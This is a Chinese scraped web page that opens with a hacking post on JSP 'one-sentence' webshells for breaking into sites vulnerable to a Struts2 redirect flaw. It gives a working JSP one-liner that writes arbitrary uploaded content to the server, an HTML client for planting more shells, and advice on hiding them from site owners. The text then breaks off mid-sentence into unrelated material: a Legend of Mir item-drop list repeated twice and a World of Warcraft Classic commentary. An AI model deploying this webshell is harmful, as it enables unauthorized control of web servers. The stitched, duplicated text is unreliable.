如何使用JSP一句话木马和菜刀木马

如何使用JSP一句话木马和菜刀木马,第1张

相信用过一句话木马的黑阔们对中国菜刀这个程序不会感到陌生,小弟也曾使用PHP一句话木马轻松lcx了很多站。近期Struts2重定向漏洞疯狂来袭,不少黑阔们都摩拳擦掌、争先恐后的寻找属于自己的那群“小肉鸡”。由于工作需要,我也对几个站点做了Struts2重定向漏洞的测试,所有使用Struts2框架的网站安全问题均不容乐观,中标率几乎达到了85%以上。也许一场血雨腥风的Struts2漏洞利用潮即将来临。
说了这么多废话,本文的目的是什么呢?其实只是想记录一下JSP几种后门代码啦,因为曾经找JSP菜刀马找的老辛苦了。
1、首先是JSP一句话木马和它的客户端小伙伴。(小伙伴们都惊呆了~~~)
以下是服务端,保存成onejsp并上传至目标服务器中。
<%if(requestgetParameter("f")!=null)(new javaioFileOutputStream(applicationgetRealPath("")+requestgetParameter("f")))write(requestgetParameter("t")getBytes());%>
通过使用一句话木马客户端连接onejsp木马。
将下列代码保存为html页面:
<html><head><title>JSP一句话木马客户端</title></head><div align=center> <font color=red>专用JSP木马连接器</font><br><form name=get method=post>服务端地址<input name=url size=110 type=text> <br><br><textarea name=t rows=20 cols=120>你提交的代码</textarea><br>保存成的文件名:<input name=f size=30 value=shelljsp><input type=button onclick="javascript:getaction=documentgeturlvalue;getsubmit()" value=提交> </form> <br>服务端代码:<br><textarea rows=5 cols=120><%if(requestgetParameter("f")!=null)(new javaioFileOutputStream(applicationgetRealPath("\")+requestgetParameter("f")))write(requestgetParameter("t")getBytes());%> </textarea> </div></body>
保存完成后,打开html页面,写入一句话木马服务端地址,例如>如果不在同目录请使用跳转符号然后修改asp文件的上传 修改时间 改成跟网站里asp文件一致就可以了这样一般是发现不了你的shell的因为你建特殊文件
名带点符号文件夹如果网站拥有者是服务器权限你这些根本无处遁形。所以还是的方式好扫描程序又扫描不到。用菜刀管理起来还方便菜刀官方好像不提供下载了难道要收费 这边提供一个
菜刀的下载链接 有需要的朋友去下载吧把你们的webshell都换成一句话吧不然你们的shell跟人家是公用的了

所有装备出处大全:
一、矿坑
僵尸:暴26级以下的书(包括26级),也暴祈祷头盔。以及20级左右的首饰=。
尸王:暴除35级以下的书(不包括35级)。也暴25级左右首饰、武器=。
二、将军坟东
88区的可以去5层杀黄金魔斗士,暴很多药。而且极品类怪物(将军坟南、北)暴22级衣服,以及25级左右首饰、武器。
三、将军坟南、北
尸卫类:暴银蛇、方天、狼牙=武器以及25级以下的首饰。
尸霸:暴25级左右首饰以及红宝石、生命项链、天竺项链、记忆套、麻痹戒指、44级首饰(罕见)。也暴包括魔杖、离别、炼狱=级别武器。
四、机关洞
石人、铜人、青铜兽、滚刀手:暴25级以下的首饰、22级以下的武器、22级衣服。
铜锤手:暴银蛇、离别、魔杖、方天、炼狱、铜锤=级别武器,以及生命项链、天竺等级的首饰(较少)。
金刚人:暴红宝石戒指、白金戒指、生命、天竺、记忆项链、祈祷套、魔杖、离别、铜锤=。裁决、无机、谷雨也出(稀少)。
机关巨兽:暴无机、裁决、谷雨(较少)。一般常出的有生命项链级别的首饰、魔杖级别武器。也出44级首饰(罕见)。
五、蛇洞
圣甲虫:狼牙棒级别以下的武器,22级左右的首饰。
魔甲虫:麻痹戒指(直接暴出,不用挖),25级左右的首饰、也暴魔杖级别武器(少)。
黑蛇妖、红蛇妖、三头蛇:爆离别、魔杖、铜锤(少)。裁决、无机、谷雨(极罕见)。30级左右的首饰。
白蛇妖:裁决、无机、谷雨(较少)。一般常出魔杖、离别级别武器,生命项链级别的首饰。还暴26级以上-35级的书。
三头蛇王:裁决、无机、谷雨(常出)。生命项链类首饰,魔杖级别武器。对于88区来说可以找人包场打。连打10只应该有收获的。
六、逆魔
逆魔卫士、逆魔雕像、逆魔侍卫、逆魔弓箭手:不是极品的这几种怪物一般就暴25级左右首饰,离别级别的武器。在4层的极品卫士可以暴出逆魔级别首饰(力量、泰坦、碧落、铃铛、灵魂=)。而且出28级-35级的书。也出菜刀、谷雨、无机、裁决。(暴率一般)。暴的未鉴定一般是鹿皮,最好是31级的。
6层-逆魔大殿的这些怪物就出逆魔首饰、无机、谷雨、裁决、30级-35级书。
逆魔:爆特殊戒指、逍遥扇、怒斩、龙牙、逆魔级别首饰。无机、谷雨、裁决。
未鉴定是在31级和31级以下。
七、禁地
除去小怪物不说。
血魔、血妖、铁翼魔、刺魔、妖力士:爆生命类首饰、魔杖级别武器。这里的怪物一般是暴药居多。未鉴定出的一般是介于28-38级之间。有几率出圣战类别的靴子、腰带。
幽灵虫母:暴血饮、龙纹(很少)。无机、谷雨、裁决(少)。生命类首饰、魔杖级别武器。
闪电魔(闪灵):暴法神套装(包括腰带、靴子)。祝福油。以及生命类首饰、魔杖类武器。暴法神的几率挺高的。
利爪魔:暴圣战套装(包括靴子、腰带)。祝福。暴率很高。
禁地魔王:44级首饰套装(链暴的最多,头次之,戒指和手少)。天尊套(经常)。魔血套、嗜血套、幻影头盔。一般是2个祝福。
八、通天
火烈鸟:暴25级左右的首饰、魔杖级别武器。也暴火焰戒指。
兽骑兵、兽骑统领:龙纹、血饮、谷雨、无机、裁决。(少)。也暴逆魔级别的首饰。暴率较低。统领有几率暴记忆戒指。未鉴定一般处于28-38级的。有几率出圣战级别的靴子和腰带。
招魂使、烈焰使:龙纹、血饮、无机、谷雨、裁决、技能项链、探测项链。逆魔级别首饰。未鉴定同上。
极品烈焰:神恩、通灵、魂珠、龙纹、裁决、血饮、谷雨、无机。40级衣服。技能、探测(暴的还可以)。魔杖级别武器、生命级首饰一般95%就出。
通天教主:暴极品烈焰暴的所有东西。还出四大神器、四大凶器、未鉴定(圣战、法神、天尊)。
九、魔城
地火弓箭、投矛:暴无机类武器(很少)。30级左右的首饰、武器。
地火兽骑将:暴菜刀、无机、裁决、血饮=武器。逆魔级别的首饰。还有34级-39级的新技能书。3种魔城项链。
炎魔:极品类炎魔暴差不多所有的物品,包括特殊戒指=。40级衣服。尤其是传送门刚下那里经验3000的炎魔。不管是武器,书。首饰。等是暴的。暴的几率也不小。常出的就是思诺项链、红宝石级别首饰。魔杖级武器。
幽影武士:紫电、大骷髅、蝙蝠、金刚=书籍。霹雳、道玄、雷裂级武器。还有3种魔城项链。
魔眼:各种魔城书籍。霹雳、雷裂、道玄。
铁血魔王:44级首饰套装。圣战、法神、天尊套。魔城书籍。霹雳、雷裂、道玄。6种魔城项链。未鉴定。魔宫的未鉴定暴出就是圣战级别。
十、修罗神殿。
苍茫大厅那3条路的怪物属于假怪。经验比神殿的少。基本上不出东西。
魔神修罗等小怪:由于打天空基本上不专门清小怪,至今未听说过小怪暴书和暴衣服。但是按照经验来看应该能暴出不下于逆魔级的首饰和不下于谷雨级的武器来的。
黑袍修罗:小道消息是说打极品的给书。
修罗神:44级衣服,43级新书。禁地套装。逆魔类首饰。裁决类武器。一般出生命类首饰和魔杖级别武器。
魔镜7层:暴蓝魔之泪的地下小鬼是4小时一刷,只有1个。有几率跟着暴出40级新衣服。金鹏。逆魔一般是暴靴子,最多一次暴过4双,还带着3种宝石。逆魔4小时一只,这东西不暴就不暴,暴就暴好的。值得一打。
魔镜8层:利爪,闪电都是4小时一只,爆率不怎么样,可以当作它们不存在。禁地魔王4小时一只,还是值得一打的,除了暴天尊件外,还有很大几率出血饮。
魔镜9层:小火值得一打,尤其是那个不会动的,暴神恩什么的,不清楚多长时间一只,大约是8小时一只。普通小火里也有个大爆的。期于的也可以打,暴40级衣服和技能练、探测的几率还是挺高的。通天教主4小时一刷,暴40级衣服、裁决、谷雨、无机等等,有几率暴靴子,通天教主暴的靴子一定要拿,最差是38级靴子,有很大几率是圣战、法神、天尊靴子。
魔镜10层:魔眼比较难找,有时间的道士还是值得一打的。好像是一共5只,20分钟一只。幽影武士半小时一只,共2只,是一定要打的,它的暴率超级高。炼狱魔君3小时一只,这个铁血老头是所有地图里爆率最低的,基本上是3,4天出一样新装备,一般就是腰带,不过有几率出神武等系列腰带。
桃园:桃园名为桃园,确实是个好地方。此地怪物爆率大概是传世所有地图里爆率最高的地方。禁地魔王2小时一只,暴天尊件、金鹏、冥日。
逆魔2小时一只,暴靴子和它该暴的那些东西。在这里打到过怒斩、防御戒指、神力戒指、扇子,暴率很高。
尸霸2小时一只,暴靴子,有几率暴44级装备,打出过神武戒指1个。
三头蛇王1小时一只,共2只,爆率高出外边很多,打出过裁决、谷雨无数,打出过天玄手。另外桃园的妖力士,尸卫战将也会给你带来惊喜(38级靴子)。
炼狱魔城:此地暴书,魔斗士出赏金牌子,神衣使者说是爆新衣服,暴率超级底。
逆魔大殿:此地逆魔是4小时一刷,有几率暴出38级靴子,它最好就是暴这个级数靴子了,当然,它的专利还是很吸引人的(怒斩等)。
通天9:由于路途遥远,这里基本上没什么人了,和魔镜9的暴的一样,靴子最好也是出到圣战级别的,再就是他的专利也不输给逆魔(4大神器,4大凶器,赤明天帝)。
禁地魔穴:这是个好地方。魔王好打,而且出的东西不错,这里的魔王是6小时一刷,经常暴天尊件、血饮、幻魔件、天玄件、神武件、幻影头。不过新装备出头和链几率大,手镯少,戒指更少。
魔宫:魔眼,有几率暴雷裂、霹雳、道玄、各种书。铁血魔王6小时一只,暴率是全地图出新装备最高的了,而且一出可能就是2,3件。
地下魔狱8层:铁血魔王6小时1个,暴率介于炼狱魔君和魔宫的魔王之间。
苍茫大厅、虚无之地、封印魔地:这3个地图的怪全是假怪,就像是将军坟东,经验也只有800-1000之间。暴书不大可能。不过暴无机、谷雨等东西。
修罗神殿:打极品怪物可以暴书,一般是道士遁地、战士擒龙手、法师魔魂术居多。打BOSS暴另外3本几率较大。新衣服也只有BOSS出。

所有装备出处大全:
一、矿坑
僵尸:暴26级以下的书(包括26级),也暴祈祷头盔。以及20级左右的首饰=。
尸王:暴除35级以下的书(不包括35级)。也暴25级左右首饰、武器=。
二、将军坟东
88区的可以去5层杀黄金魔斗士,暴很多药。而且极品类怪物(将军坟南、北)暴22级衣服,以及25级左右首饰、武器。
三、将军坟南、北
尸卫类:暴银蛇、方天、狼牙=武器以及25级以下的首饰。
尸霸:暴25级左右首饰以及红宝石、生命项链、天竺项链、记忆套、麻痹戒指、44级首饰(罕见)。也暴包括魔杖、离别、炼狱=级别武器。
四、机关洞
石人、铜人、青铜兽、滚刀手:暴25级以下的首饰、22级以下的武器、22级衣服。
铜锤手:暴银蛇、离别、魔杖、方天、炼狱、铜锤=级别武器,以及生命项链、天竺等级的首饰(较少)。
金刚人:暴红宝石戒指、白金戒指、生命、天竺、记忆项链、祈祷套、魔杖、离别、铜锤=。裁决、无机、谷雨也出(稀少)。
机关巨兽:暴无机、裁决、谷雨(较少)。一般常出的有生命项链级别的首饰、魔杖级别武器。也出44级首饰(罕见)。
五、蛇洞
圣甲虫:狼牙棒级别以下的武器,22级左右的首饰。
魔甲虫:麻痹戒指(直接暴出,不用挖),25级左右的首饰、也暴魔杖级别武器(少)。
黑蛇妖、红蛇妖、三头蛇:爆离别、魔杖、铜锤(少)。裁决、无机、谷雨(极罕见)。30级左右的首饰。
白蛇妖:裁决、无机、谷雨(较少)。一般常出魔杖、离别级别武器,生命项链级别的首饰。还暴26级以上-35级的书。
三头蛇王:裁决、无机、谷雨(常出)。生命项链类首饰,魔杖级别武器。对于88区来说可以找人包场打。连打10只应该有收获的。
六、逆魔
逆魔卫士、逆魔雕像、逆魔侍卫、逆魔弓箭手:不是极品的这几种怪物一般就暴25级左右首饰,离别级别的武器。在4层的极品卫士可以暴出逆魔级别首饰(力量、泰坦、碧落、铃铛、灵魂=)。而且出28级-35级的书。也出菜刀、谷雨、无机、裁决。(暴率一般)。暴的未鉴定一般是鹿皮,最好是31级的。
6层-逆魔大殿的这些怪物就出逆魔首饰、无机、谷雨、裁决、30级-35级书。
逆魔:爆特殊戒指、逍遥扇、怒斩、龙牙、逆魔级别首饰。无机、谷雨、裁决。
未鉴定是在31级和31级以下。
七、禁地
除去小怪物不说。
血魔、血妖、铁翼魔、刺魔、妖力士:爆生命类首饰、魔杖级别武器。这里的怪物一般是暴药居多。未鉴定出的一般是介于28-38级之间。有几率出圣战类别的靴子、腰带。
幽灵虫母:暴血饮、龙纹(很少)。无机、谷雨、裁决(少)。生命类首饰、魔杖级别武器。
闪电魔(闪灵):暴法神套装(包括腰带、靴子)。祝福油。以及生命类首饰、魔杖类武器。暴法神的几率挺高的。
利爪魔:暴圣战套装(包括靴子、腰带)。祝福。暴率很高。
禁地魔王:44级首饰套装(链暴的最多,头次之,戒指和手少)。天尊套(经常)。魔血套、嗜血套、幻影头盔。一般是2个祝福。
八、通天
火烈鸟:暴25级左右的首饰、魔杖级别武器。也暴火焰戒指。
兽骑兵、兽骑统领:龙纹、血饮、谷雨、无机、裁决。(少)。也暴逆魔级别的首饰。暴率较低。统领有几率暴记忆戒指。未鉴定一般处于28-38级的。有几率出圣战级别的靴子和腰带。
招魂使、烈焰使:龙纹、血饮、无机、谷雨、裁决、技能项链、探测项链。逆魔级别首饰。未鉴定同上。
极品烈焰:神恩、通灵、魂珠、龙纹、裁决、血饮、谷雨、无机。40级衣服。技能、探测(暴的还可以)。魔杖级别武器、生命级首饰一般95%就出。
通天教主:暴极品烈焰暴的所有东西。还出四大神器、四大凶器、未鉴定(圣战、法神、天尊)。
九、魔城
地火弓箭、投矛:暴无机类武器(很少)。30级左右的首饰、武器。
地火兽骑将:暴菜刀、无机、裁决、血饮=武器。逆魔级别的首饰。还有34级-39级的新技能书。3种魔城项链。
炎魔:极品类炎魔暴差不多所有的物品,包括特殊戒指=。40级衣服。尤其是传送门刚下那里经验3000的炎魔。不管是武器,书。首饰。等是暴的。暴的几率也不小。常出的就是思诺项链、红宝石级别首饰。魔杖级武器。
幽影武士:紫电、大骷髅、蝙蝠、金刚=书籍。霹雳、道玄、雷裂级武器。还有3种魔城项链。
魔眼:各种魔城书籍。霹雳、雷裂、道玄。
铁血魔王:44级首饰套装。圣战、法神、天尊套。魔城书籍。霹雳、雷裂、道玄。6种魔城项链。未鉴定。魔宫的未鉴定暴出就是圣战级别。
十、修罗神殿。
苍茫大厅那3条路的怪物属于假怪。经验比神殿的少。基本上不出东西。
魔神修罗等小怪:由于打天空基本上不专门清小怪,至今未听说过小怪暴书和暴衣服。但是按照经验来看应该能暴出不下于逆魔级的首饰和不下于谷雨级的武器来的。
黑袍修罗:小道消息是说打极品的给书。
修罗神:44级衣服,43级新书。禁地套装。逆魔类首饰。裁决类武器。一般出生命类首饰和魔杖级别武器。
魔镜7层:暴蓝魔之泪的地下小鬼是4小时一刷,只有1个。有几率跟着暴出40级新衣服。金鹏。逆魔一般是暴靴子,最多一次暴过4双,还带着3种宝石。逆魔4小时一只,这东西不暴就不暴,暴就暴好的。值得一打。
魔镜8层:利爪,闪电都是4小时一只,爆率不怎么样,可以当作它们不存在。禁地魔王4小时一只,还是值得一打的,除了暴天尊件外,还有很大几率出血饮。
魔镜9层:小火值得一打,尤其是那个不会动的,暴神恩什么的,不清楚多长时间一只,大约是8小时一只。普通小火里也有个大爆的。期于的也可以打,暴40级衣服和技能练、探测的几率还是挺高的。通天教主4小时一刷,暴40级衣服、裁决、谷雨、无机等等,有几率暴靴子,通天教主暴的靴子一定要拿,最差是38级靴子,有很大几率是圣战、法神、天尊靴子。
魔镜10层:魔眼比较难找,有时间的道士还是值得一打的。好像是一共5只,20分钟一只。幽影武士半小时一只,共2只,是一定要打的,它的暴率超级高。炼狱魔君3小时一只,这个铁血老头是所有地图里爆率最低的,基本上是3,4天出一样新装备,一般就是腰带,不过有几率出神武等系列腰带。
桃园:桃园名为桃园,确实是个好地方。此地怪物爆率大概是传世所有地图里爆率最高的地方。禁地魔王2小时一只,暴天尊件、金鹏、冥日。
逆魔2小时一只,暴靴子和它该暴的那些东西。在这里打到过怒斩、防御戒指、神力戒指、扇子,暴率很高。
尸霸2小时一只,暴靴子,有几率暴44级装备,打出过神武戒指1个。
三头蛇王1小时一只,共2只,爆率高出外边很多,打出过裁决、谷雨无数,打出过天玄手。另外桃园的妖力士,尸卫战将也会给你带来惊喜(38级靴子)。
炼狱魔城:此地暴书,魔斗士出赏金牌子,神衣使者说是爆新衣服,暴率超级底。
逆魔大殿:此地逆魔是4小时一刷,有几率暴出38级靴子,它最好就是暴这个级数靴子了,当然,它的专利还是很吸引人的(怒斩等)。
通天9:由于路途遥远,这里基本上没什么人了,和魔镜9的暴的一样,靴子最好也是出到圣战级别的,再就是他的专利也不输给逆魔(4大神器,4大凶器,赤明天帝)。
禁地魔穴:这是个好地方。魔王好打,而且出的东西不错,这里的魔王是6小时一刷,经常暴天尊件、血饮、幻魔件、天玄件、神武件、幻影头。不过新装备出头和链几率大,手镯少,戒指更少。
魔宫:魔眼,有几率暴雷裂、霹雳、道玄、各种书。铁血魔王6小时一只,暴率是全地图出新装备最高的了,而且一出可能就是2,3件。
地下魔狱8层:铁血魔王6小时1个,暴率介于炼狱魔君和魔宫的魔王之间。
苍茫大厅、虚无之地、封印魔地:这3个地图的怪全是假怪,就像是将军坟东,经验也只有800-1000之间。暴书不大可能。不过暴无机、谷雨等东西。
修罗神殿:打极品怪物可以暴书,一般是道士遁地、战士擒龙手、法师魔魂术居多。打BOSS暴另外3本几率较大。新衣服也只有BOSS出。

自从法师抱团组建效率至上的AA队,登上《魔兽世界》怀旧服的食物链顶端,这群速刷副本升级的天蓝色,愈发远离其他职业的圈子。不甘落后的物理职业,终于回想起当年叱咤风云的菜刀队,用『破坏者』砍出一片天。

菜刀队一般由 武器战、熊德、盗贼、增强萨(惩戒骑) 任意奶 组成,由于负责扛伤和输出的核心都是没有蓝条的物理职业。针对怪物相对集中的血色等副本,清怪效率不慢,战斗结束后几乎不用回复,就连随队奶妈也很少坐地板回蓝——因此便有了“永动机”的称号,配合默契的队伍,甚至可以 从血色一路刷到黑石塔下层

在菜刀队不断进化的过程中,战士、盗贼的重要地位得到玩家肯定,一扫此前处处遭到排挤的憋屈。令人意想不到的是,重新找回自信的物理职业们,不但没有改善职业歧视的现象,反而创造出全新的鄙视链: 菜刀队开组,不要法师,不坐地板的来

于是,怀旧服的氛围再度向正式服靠拢,除了少数仍在坚持做任务的情怀党,大部分玩家都难以免俗,在追求效率的路上渐行渐远。

正如莎士比亚所说,一千个人眼中就有一千个哈姆雷特。对于怀着不同想法、目标,来到《魔兽世界》经典旧世的新老玩家来说,选择任何一种玩法都没有错。

但是,当越来越多的人无视正式服日渐凋零的前车之鉴,甚至忘了怀旧服重启的最大理由,让 人身攻击、公会欺诈、现金交易 等恶意泛滥。这片不属于这个时代的艾泽拉斯旧土,瞬间失去了存在的价值。

一旦“劣币驱逐良币”成为怀旧服不可扭转的趋势,拥有足够 社会 经验的玩家,大多及时选择“止(qi)损(keng)”,将美好的魔兽回忆留在过去,也比每天排队“吃苍蝇”要快乐得多。

如果觉得游大师是在危言耸听,不妨打开战网好友列表,数数还亮着的头像和名字,真相昭然若揭——此刻距离怀旧服开启,才过了20余天!倘若还有 继续并肩作战的同伴,一定要且玩且珍惜


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zz/10657424.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-10
下一篇 2023-05-10

发表评论

登录后才能评论

评论列表(0条)

保存